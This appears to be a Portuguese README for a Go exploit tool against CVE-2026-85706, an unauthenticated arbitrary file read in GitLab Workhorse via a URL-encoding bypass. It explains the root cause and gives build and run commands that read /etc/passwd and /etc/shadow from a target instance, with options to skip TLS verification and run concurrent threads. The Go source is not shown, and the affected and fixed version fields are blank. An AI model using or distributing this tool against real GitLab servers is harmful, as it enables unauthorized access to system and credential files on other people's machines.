
Go exploit para CVE-2026-85706, uma leitura arbitrária de arquivos não autenticada no GitLab CE/EE Workhorse via bypass de codificação de URL, com requisições concorrentes e TLS skip.
Vulnerabilidade de leitura arbitrária de arquivos sem autenticação no GitLab CE/EE (CVE-2026-85706).
Versões afetadas:
Versões corrigidas:
A vulnerabilidade existe no componente Workhorse do GitLab. A regex do workhorse vê um caminho codificado, enquanto o Puma o decodifica. O File.open(file.path) do Rails é chamado antes da autenticação, e o parse urlencoded interpola a codificação % inválida no corpo 400, causando o vazamento do conteúdo do arquivo.
# Build the tool
go build -o CVE-2026-85706 CVE-2026-85706.go
# Run the exploit
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/passwd
| Argumento | Descrição | Padrão |
|---|---|---|
-u | URL alvo (ex.: https://gitlab.example.com) | - |
-f | Arquivo a ser lido (ex.: /etc/passwd) | - |
-k | Ignorar verificação TLS | false |
-t | Número de threads concorrentes | 1 |
-v | Saída detalhada | false |
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/shadow -k
Isso tentará ler o arquivo /etc/shadow da instância GitLab alvo, ignorando a verificação TLS.